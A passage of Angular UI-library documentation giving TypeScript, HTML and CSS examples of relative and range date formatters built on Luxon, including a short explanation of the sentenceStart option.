                <div class="flex">absoluteShortDate (current year)</div>
                <div class="flex">{{ formats.absolute.short.date.currentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDate (not current year)</div>
                <div class="flex">{{ formats.absolute.short.date.notCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDateTime (current year)</div>
                <div class="flex">{{ formats.absolute.short.dateTime.currentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDateTime (current year) (with seconds)</div>
                <div class="flex">{{ formats.absolute.short.dateTime.currentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDateTime (current year) (with milliseconds)</div>
                <div class="flex">{{ formats.absolute.short.dateTime.currentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDateTime (not current year)</div>
                <div class="flex">{{ formats.absolute.short.dateTime.notCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDateTime (not current year) (with seconds)</div>
                <div class="flex">{{ formats.absolute.short.dateTime.notCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteShortDateTime (not current year) (with milliseconds)</div>
                <div class="flex">{{ formats.absolute.short.dateTime.notCurrentYearMilliseconds }}</div>
            </div>
        </div>
    </div>
</div>
```

```css absolute-date-formatter-example.css
.example-light-text-secondary {
    color: #ccc;
}

.example-row-border {
    padding: 8px;
    border-bottom: 1px solid #ccc;
}
```

##### Relative date

**Example: Relative date-formatter** (`relative-date-formatter`)

```ts relative-date-formatter-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_LOCALE_SERVICE, KbqFormattersModule } from '@koobiq/components/core';
import { DateTime } from 'luxon';
import { delay } from 'rxjs';
import { distinctUntilChanged } from 'rxjs/operators';

@Component({
    selector: 'relative-date-formatter-example',
    imports: [LuxonDateModule, KbqFormattersModule],
    templateUrl: 'relative-date-formatter-example.html',
    styleUrls: ['relative-date-formatter-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RelativeDateFormatterExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly dateFormatter = inject<DateFormatter<DateTime>>(DateFormatter);
    private readonly changeDetectorRef = inject(ChangeDetectorRef);
    private readonly localeService = inject(KBQ_LOCALE_SERVICE);

    formats = {
        relative: {
            long: {
                beforeYesterdayNotCurrentYear: '',

                beforeYesterdayCurrentYear: '',
                beforeYesterdayCurrentYearSeconds: '',
                beforeYesterdayCurrentYearMilliseconds: '',

                yesterday: '',
                yesterdaySeconds: '',
                yesterdayMilliseconds: '',

                today: '',
                todaySeconds: '',
                todayMilliseconds: '',

                tomorrow: '',
                tomorrowSeconds: '',
                tomorrowMilliseconds: '',

                afterTomorrowCurrentYear: '',
                afterTomorrowCurrentYearSeconds: '',
                afterTomorrowCurrentYearMilliseconds: '',

                afterTomorrowNotCurrentYear: ''
            },
            short: {
                beforeYesterdayNotCurrentYear: '',

                beforeYesterdayCurrentYear: '',
                beforeYesterdayCurrentYearSeconds: '',
                beforeYesterdayCurrentYearMilliseconds: '',

                yesterday: '',
                yesterdaySeconds: '',
                yesterdayMilliseconds: '',

                today: '',
                todaySeconds: '',
                todayMilliseconds: '',

                tomorrow: '',
                tomorrowSeconds: '',
                tomorrowMilliseconds: '',

                afterTomorrowCurrentYear: '',
                afterTomorrowCurrentYearSeconds: '',
                afterTomorrowCurrentYearMilliseconds: '',

                afterTomorrowNotCurrentYear: ''
            }
        },
        sentenceCase: {
            long: {
                yesterday: '',
                today: '',
                tomorrow: ''
            },
            short: {
                yesterday: '',
                today: '',
                tomorrow: ''
            }
        }
    };

    constructor() {
        this.localeService.changes.pipe(distinctUntilChanged(), delay(0)).subscribe(this.onLocaleChange);
    }

    private onLocaleChange = (locale: string) => {
        this.adapter.setLocale(locale);

        this.populateRelativeLong(locale);
        this.populateRelativeShort(locale);
        this.populateSentenceCase(locale);

        this.changeDetectorRef.markForCheck();
    };

    private populateRelativeShort(locale: string) {
        this.dateFormatter.setLocale(locale);
        this.adapter.setLocale(locale);

        const short = this.formats.relative.short;
        const now = this.adapter.today();

        short.beforeYesterdayNotCurrentYear = this.dateFormatter.relativeShortDate(now.minus({ years: 1, days: 2 }));
        short.beforeYesterdayCurrentYear = this.dateFormatter.relativeShortDate(now.minus({ days: 2 }));
        short.beforeYesterdayCurrentYearSeconds = this.dateFormatter.relativeShortDateTime(now.minus({ days: 2 }), {
            seconds: true
        });
        short.beforeYesterdayCurrentYearMilliseconds = this.dateFormatter.relativeShortDateTime(
            now.minus({ days: 2 }),
            { milliseconds: true }
        );

        short.yesterday = this.dateFormatter.relativeShortDate(now.minus({ days: 1 }));
        short.yesterdaySeconds = this.dateFormatter.relativeShortDateTime(now.minus({ days: 1 }), { seconds: true });
        short.yesterdayMilliseconds = this.dateFormatter.relativeShortDateTime(now.minus({ days: 1 }), {
            milliseconds: true
        });

        short.today = this.dateFormatter.relativeShortDate(now.minus({ hours: 1 }));
        short.todaySeconds = this.dateFormatter.relativeShortDateTime(now.minus({ hours: 1 }), { seconds: true });
        short.todayMilliseconds = this.dateFormatter.relativeShortDateTime(now.minus({ hours: 1 }), {
            milliseconds: true
        });

        short.tomorrow = this.dateFormatter.relativeShortDate(now.plus({ days: 1, hours: 1 }));
        short.tomorrowSeconds = this.dateFormatter.relativeShortDateTime(now.plus({ days: 1, hours: 1 }), {
            seconds: true
        });
        short.tomorrowMilliseconds = this.dateFormatter.relativeShortDateTime(now.plus({ days: 1, hours: 1 }), {
            milliseconds: true
        });

        short.afterTomorrowCurrentYear = this.dateFormatter.relativeShortDate(now.plus({ days: 2 }));
        short.afterTomorrowCurrentYearSeconds = this.dateFormatter.relativeShortDateTime(now.plus({ days: 2 }), {
            seconds: true
        });
        short.afterTomorrowCurrentYearMilliseconds = this.dateFormatter.relativeShortDateTime(now.plus({ days: 2 }), {
            milliseconds: true
        });

        short.afterTomorrowNotCurrentYear = this.dateFormatter.relativeShortDate(now.plus({ years: 1, days: 2 }));
    }

    private populateRelativeLong(locale: string) {
        this.dateFormatter.setLocale(locale);
        this.adapter.setLocale(locale);

        const long = this.formats.relative.long;
        const now = this.adapter.today();

        long.beforeYesterdayNotCurrentYear = this.dateFormatter.relativeLongDate(now.minus({ years: 1, days: 2 }));
        long.beforeYesterdayCurrentYear = this.dateFormatter.relativeLongDate(now.minus({ days: 2 }));
        long.beforeYesterdayCurrentYearSeconds = this.dateFormatter.relativeLongDateTime(now.minus({ days: 2 }), {
            seconds: true
        });
        long.beforeYesterdayCurrentYearMilliseconds = this.dateFormatter.relativeLongDateTime(now.minus({ days: 2 }), {
            milliseconds: true
        });

        long.yesterday = this.dateFormatter.relativeLongDate(now.minus({ days: 1 }));
        long.yesterdaySeconds = this.dateFormatter.relativeLongDateTime(now.minus({ days: 1 }), { seconds: true });
        long.yesterdayMilliseconds = this.dateFormatter.relativeLongDateTime(now.minus({ days: 1 }), {
            milliseconds: true
        });

        long.today = this.dateFormatter.relativeLongDate(now.minus({ hours: 1 }));
        long.todaySeconds = this.dateFormatter.relativeLongDateTime(now.minus({ hours: 1 }), { seconds: true });
        long.todayMilliseconds = this.dateFormatter.relativeLongDateTime(now.minus({ hours: 1 }), {
            milliseconds: true
        });

        long.tomorrow = this.dateFormatter.relativeLongDate(now.plus({ days: 1, hours: 1 }));
        long.tomorrowSeconds = this.dateFormatter.relativeLongDateTime(now.plus({ days: 1, hours: 1 }), {
            seconds: true
        });
        long.tomorrowMilliseconds = this.dateFormatter.relativeLongDateTime(now.plus({ days: 1, hours: 1 }), {
            milliseconds: true
        });

        long.afterTomorrowCurrentYear = this.dateFormatter.relativeLongDate(now.plus({ days: 2 }));
        long.afterTomorrowCurrentYearSeconds = this.dateFormatter.relativeLongDateTime(now.plus({ days: 2 }), {
            seconds: true
        });
        long.afterTomorrowCurrentYearMilliseconds = this.dateFormatter.relativeLongDateTime(now.plus({ days: 2 }), {
            milliseconds: true
        });

        long.afterTomorrowNotCurrentYear = this.dateFormatter.relativeLongDate(now.plus({ years: 1, days: 2 }));
    }

    private populateSentenceCase(locale: string) {
        this.dateFormatter.setLocale(locale);
        this.adapter.setLocale(locale);

        const sentenceCase = this.formats.sentenceCase;
        const now = this.adapter.today();
        const options = { sentenceStart: false };

        sentenceCase.long.yesterday = this.dateFormatter.relativeLongDate(now.minus({ days: 1 }), options);
        sentenceCase.long.today = this.dateFormatter.relativeLongDate(now, options);
        sentenceCase.long.tomorrow = this.dateFormatter.relativeLongDate(now.plus({ days: 1 }), options);

        sentenceCase.short.yesterday = this.dateFormatter.relativeShortDate(now.minus({ days: 1 }), options);
        sentenceCase.short.today = this.dateFormatter.relativeShortDate(now, options);
        sentenceCase.short.tomorrow = this.dateFormatter.relativeShortDate(now.plus({ days: 1 }), options);
    }
}
```

```html relative-date-formatter-example.html
<div class="kbq-text-big">
    <div>
        <h3>Long format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (not current year)</div>
                <div class="flex">{{ formats.relative.long.beforeYesterdayNotCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (current year)</div>
                <div class="flex">{{ formats.relative.long.beforeYesterdayCurrentYear }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (current year) (with seconds)</div>
                <div class="flex">{{ formats.relative.long.beforeYesterdayCurrentYearSeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (current year) (with milliseconds)</div>
                <div class="flex">{{ formats.relative.long.beforeYesterdayCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday</div>
                <div class="flex">{{ formats.relative.long.yesterday }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday (with seconds)</div>
                <div class="flex">{{ formats.relative.long.yesterdaySeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday (with milliseconds)</div>
                <div class="flex">{{ formats.relative.long.yesterdayMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Today</div>
                <div class="flex">{{ formats.relative.long.today }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Today (with seconds)</div>
                <div class="flex">{{ formats.relative.long.todaySeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Today (with milliseconds)</div>
                <div class="flex">{{ formats.relative.long.todayMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow</div>
                <div class="flex">{{ formats.relative.long.tomorrow }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow (with seconds)</div>
                <div class="flex">{{ formats.relative.long.tomorrowSeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow (with milliseconds)</div>
                <div class="flex">{{ formats.relative.long.tomorrowMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (current year)</div>
                <div class="flex">{{ formats.relative.long.afterTomorrowCurrentYear }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (current year) (with seconds)</div>
                <div class="flex">{{ formats.relative.long.afterTomorrowCurrentYearSeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (current year) (with milliseconds)</div>
                <div class="flex">{{ formats.relative.long.afterTomorrowCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (not current year)</div>
                <div class="flex">{{ formats.relative.long.afterTomorrowNotCurrentYear }}</div>
            </div>
        </div>
    </div>
    <div>
        <h3>Short format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (not current year)</div>
                <div class="flex">{{ formats.relative.short.beforeYesterdayNotCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (current year)</div>
                <div class="flex">{{ formats.relative.short.beforeYesterdayCurrentYear }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (current year) (with seconds)</div>
                <div class="flex">{{ formats.relative.short.beforeYesterdayCurrentYearSeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Before yesterday (current year) (with milliseconds)</div>
                <div class="flex">{{ formats.relative.short.beforeYesterdayCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday</div>
                <div class="flex">{{ formats.relative.short.yesterday }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday (with seconds)</div>
                <div class="flex">{{ formats.relative.short.yesterdaySeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday (with milliseconds)</div>
                <div class="flex">{{ formats.relative.short.yesterdayMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Today</div>
                <div class="flex">{{ formats.relative.short.today }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Today (with seconds)</div>
                <div class="flex">{{ formats.relative.short.todaySeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Today (with milliseconds)</div>
                <div class="flex">{{ formats.relative.short.todayMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow</div>
                <div class="flex">{{ formats.relative.short.tomorrow }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow (with seconds)</div>
                <div class="flex">{{ formats.relative.short.tomorrowSeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow (with milliseconds)</div>
                <div class="flex">{{ formats.relative.short.tomorrowMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (current year)</div>
                <div class="flex">{{ formats.relative.short.afterTomorrowCurrentYear }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (current year) (with seconds)</div>
                <div class="flex">{{ formats.relative.short.afterTomorrowCurrentYearSeconds }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (current year) (with milliseconds)</div>
                <div class="flex">{{ formats.relative.short.afterTomorrowCurrentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">After tomorrow (not current year)</div>
                <div class="flex">{{ formats.relative.short.afterTomorrowNotCurrentYear }}</div>
            </div>
        </div>
    </div>
    <div>
        <h3>Sentence case (sentenceStart: false)</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday (long)</div>
                <div class="flex">Updated {{ formats.sentenceCase.long.yesterday }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Today (long)</div>
                <div class="flex">Updated {{ formats.sentenceCase.long.today }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow (long)</div>
                <div class="flex">Updated {{ formats.sentenceCase.long.tomorrow }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">Yesterday (short)</div>
                <div class="flex">Updated {{ formats.sentenceCase.short.yesterday }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Today (short)</div>
                <div class="flex">Updated {{ formats.sentenceCase.short.today }}</div>
            </div>

            <div class="layout-row example-row-border">
                <div class="flex">Tomorrow (short)</div>
                <div class="flex">Updated {{ formats.sentenceCase.short.tomorrow }}</div>
            </div>
        </div>
    </div>
</div>
```

```css relative-date-formatter-example.css
.example-light-text-secondary {
    color: #ccc;
}

.example-row-border {
    padding: 8px;
    border-bottom: 1px solid #ccc;
}
```

By default, a relative date starts with a capital letter — it can open a sentence. When the date appears mid-sentence, pass `{ sentenceStart: false }` to the pipe or the formatter to lowercase the relative word ("Updated yesterday, 14:48"). The absolute part of the same format is not affected.

##### Date range

**Example: Range date-formatter** (`range-date-formatter`)

```ts range-date-formatter-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_LOCALE_SERVICE, KbqFormattersModule } from '@koobiq/components/core';
import { DateTime } from 'luxon';
import { delay } from 'rxjs';
import { distinctUntilChanged } from 'rxjs/operators';

@Component({
    selector: 'range-date-formatter-example',
    imports: [LuxonDateModule, KbqFormattersModule],
    templateUrl: 'range-date-formatter-example.html',
    styleUrls: ['range-date-formatter-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class RangeDateFormatterExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly dateFormatter = inject<DateFormatter<DateTime>>(DateFormatter);
    private readonly changeDetectorRef = inject(ChangeDetectorRef);
    private readonly localeService = inject(KBQ_LOCALE_SERVICE);

    formats = {
        range: {
            long: {
                date: {
                    currentMonth: '',
                    notCurrentYear: '',
                    startsNotCurrentYear: '',
                    endsNotCurrentYear: ''
                },
                dateTime: {
                    startsNotCurrentYear: '',
                    startsNotCurrentYearSeconds: '',
                    startsNotCurrentYearMilliseconds: '',

                    endsNotCurrentYear: '',
                    endsNotCurrentYearSeconds: '',
                    endsNotCurrentYearMilliseconds: '',

                    sameDateCurrentYear: '',
                    sameDateCurrentYearSeconds: '',
                    sameDateCurrentYearMilliseconds: '',

                    sameDateNotCurrentYear: '',
                    sameDateNotCurrentYearSeconds: '',
                    sameDateNotCurrentYearMilliseconds: '',

                    notCurrentMonth: '',
                    notCurrentMonthSeconds: '',
                    notCurrentMonthMilliseconds: ''
                }
            },
            middle: {
                dateTime: {
                    currentYear: '',
                    currentYearSeconds: '',
                    currentYearMilliseconds: '',

                    sameDateCurrentYear: '',
                    sameDateCurrentYearSeconds: '',
                    sameDateCurrentYearMilliseconds: '',

                    sameDateNotCurrentYear: '',
                    sameDateNotCurrentYearSeconds: '',
                    sameDateNotCurrentYearMilliseconds: '',

                    notCurrentMonth: '',
                    notCurrentMonthSeconds: '',
                    notCurrentMonthMilliseconds: '',

                    startsNotCurrentYear: '',
                    startsNotCurrentYearSeconds: '',
                    startsNotCurrentYearMilliseconds: '',

                    endsNotCurrentYear: '',
                    endsNotCurrentYearSeconds: '',
                    endsNotCurrentYearMilliseconds: ''
                }
            },
            short: {
                date: {
                    currentMonth: '',
                    notCurrentYear: '',
                    startsNotCurrentYear: '',
                    endsNotCurrentYear: ''
                },
                dateTime: {
                    sameDateCurrentYear: '',
                    sameDateCurrentYearSeconds: '',
                    sameDateCurrentYearMilliseconds: '',

                    sameDateNotCurrentYear: '',
                    sameDateNotCurrentYearSeconds: '',
                    sameDateNotCurrentYearMilliseconds: '',

                    notCurrentMonth: '',
                    notCurrentMonthSeconds: '',
                    notCurrentMonthMilliseconds: '',

                    startsNotCurrentYear: '',
                    startsNotCurrentYearSeconds: '',
                    startsNotCurrentYearMilliseconds: '',

                    endsNotCurrentYear: '',
                    endsNotCurrentYearSeconds: '',
                    endsNotCurrentYearMilliseconds: ''
                }
            }
        },
        openedRange: {
            long: {
                date: {
                    onlyStart: '',
                    onlyStartNotCurrentYear: '',
                    onlyEnd: '',
                    onlyEndNotCurrentYear: ''
                },
                dateTime: {
                    onlyStart: '',
                    onlyStartSeconds: '',
                    onlyStartMilliseconds: '',

                    onlyStartNotCurrentYear: '',
                    onlyStartNotCurrentYearSeconds: '',
                    onlyStartNotCurrentYearMilliseconds: '',

                    onlyEnd: '',
                    onlyEndSeconds: '',
                    onlyEndMilliseconds: '',

                    onlyEndNotCurrentYear: '',
                    onlyEndNotCurrentYearSeconds: '',
                    onlyEndNotCurrentYearMilliseconds: ''
                }
            },
            short: {
                date: {
                    onlyStart: '',
                    onlyStartNotCurrentYear: '',
                    onlyEnd: '',
                    onlyEndNotCurrentYear: ''
                },
                dateTime: {
                    onlyStart: '',
                    onlyStartSeconds: '',
                    onlyStartMilliseconds: '',

                    onlyStartNotCurrentYear: '',
                    onlyStartNotCurrentYearSeconds: '',
                    onlyStartNotCurrentYearMilliseconds: '',

                    onlyEnd: '',
                    onlyEndSeconds: '',
                    onlyEndMilliseconds: '',

                    onlyEndNotCurrentYear: '',
                    onlyEndNotCurrentYearSeconds: '',
                    onlyEndNotCurrentYearMilliseconds: ''
                }
            }
        }
    };

    constructor() {
        this.localeService.changes.pipe(distinctUntilChanged(), delay(0)).subscribe(this.onLocaleChange);
    }

    private onLocaleChange = (locale: string) => {
        this.adapter.setLocale(locale);

        this.populateRangeLong(locale);
        this.populateRangeMiddle(locale);
        this.populateRangeShort(locale);
        this.populateOpenedRangeLong(locale);
        this.populateOpenedRangeShort(locale);

        this.changeDetectorRef.markForCheck();
    };

    private populateRangeShort(locale: string) {
        this.dateFormatter.setLocale(locale);
        this.adapter.setLocale(locale);

        const short = this.formats.range.short;
        const now = this.adapter.today();

        short.date.currentMonth = this.dateFormatter.rangeShortDate(now.set({ day: 1 }), now.set({ day: 10 }));
        short.date.notCurrentYear = this.dateFormatter.rangeShortDate(
            now.set({ day: 1, month: 1 }),
            now.set({ day: 10, month: 2 })
        );
        short.date.startsNotCurrentYear = this.dateFormatter.rangeShortDate(
            now.set({ day: 1, month: 1 }).minus({ years: 1 }),
            now.set({ day: 10, month: 2 })
        );
        short.date.endsNotCurrentYear = this.dateFormatter.rangeShortDate(
            now.set({ day: 1, month: 1 }),
            now.set({ day: 10, month: 2 }).plus({ years: 1 })
        );

        short.dateTime.sameDateCurrentYear = this.dateFormatter.rangeShortDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 11, minute: 28 })
        );
        short.dateTime.sameDateCurrentYearSeconds = this.dateFormatter.rangeShortDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 11, minute: 28 }),
            { seconds: true }
        );
        short.dateTime.sameDateCurrentYearMilliseconds = this.dateFormatter.rangeShortDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        short.dateTime.sameDateNotCurrentYear = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 })
        );
        short.dateTime.sameDateNotCurrentYearSeconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { seconds: true }
        );
        short.dateTime.sameDateNotCurrentYearMilliseconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        short.dateTime.notCurrentMonth = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 })
        );
        short.dateTime.notCurrentMonthSeconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { seconds: true }
        );
        short.dateTime.notCurrentMonthMilliseconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        short.dateTime.startsNotCurrentYear = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 })
        );
        short.dateTime.startsNotCurrentYearSeconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { seconds: true }
        );
        short.dateTime.startsNotCurrentYearMilliseconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        short.dateTime.endsNotCurrentYear = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ day: 1, month: 2 }).plus({ years: 1 }).set({ hour: 11, minute: 28 })
        );
        short.dateTime.endsNotCurrentYearSeconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ day: 1, month: 2 }).plus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { seconds: true }
        );
        short.dateTime.endsNotCurrentYearMilliseconds = this.dateFormatter.rangeShortDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ day: 1, month: 2 }).plus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { milliseconds: true }
        );
    }

    private populateRangeMiddle(locale: string) {
        this.dateFormatter.setLocale(locale);
        this.adapter.setLocale(locale);

        const middle = this.formats.range.middle;
        const now = this.adapter.today();

        middle.dateTime.currentYear = this.dateFormatter.rangeMiddleDateTime(now.set({ day: 1 }), now.set({ day: 10 }));

        middle.dateTime.currentYearSeconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ day: 1 }),
            now.set({ day: 10 }),
            { seconds: true }
        );

        middle.dateTime.currentYearMilliseconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ day: 1 }),
            now.set({ day: 10 }),
            { milliseconds: true }
        );

        middle.dateTime.sameDateCurrentYear = this.dateFormatter.rangeMiddleDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 10, minute: 28 })
        );
        middle.dateTime.sameDateCurrentYearSeconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 10, minute: 28 }),
            { seconds: true }
        );
        middle.dateTime.sameDateCurrentYearMilliseconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ day: 10, hour: 10, minute: 14 }),
            now.set({ day: 10, hour: 10, minute: 28 }),
            { milliseconds: true }
        );

        middle.dateTime.sameDateNotCurrentYear = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 })
        );
        middle.dateTime.sameDateNotCurrentYearSeconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { seconds: true }
        );
        middle.dateTime.sameDateNotCurrentYearMilliseconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 11 }).minus({ years: 1 }).set({ hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        middle.dateTime.notCurrentMonth = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 })
        );
        middle.dateTime.notCurrentMonthSeconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { seconds: true }
        );
        middle.dateTime.notCurrentMonthMilliseconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1, hour: 10, minute: 14 }),
            now.set({ month: 2, day: 1, hour: 11, minute: 28 }),
            { milliseconds: true }
        );

        middle.dateTime.startsNotCurrentYear = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 1, hour: 11, minute: 28 })
        );
        middle.dateTime.startsNotCurrentYearSeconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
            now.set({ month: 1, day: 1, hour: 11, minute: 28 }),
            { seconds: true }
        );
        middle.dateTime.startsNotCurrentYearMilliseconds = this.dateFormatter.rangeMiddleDateTime(
            now.set({ month: 1, day: 1 }).minus({ years: 1 }).set({ hour: 10, minute: 14 }),
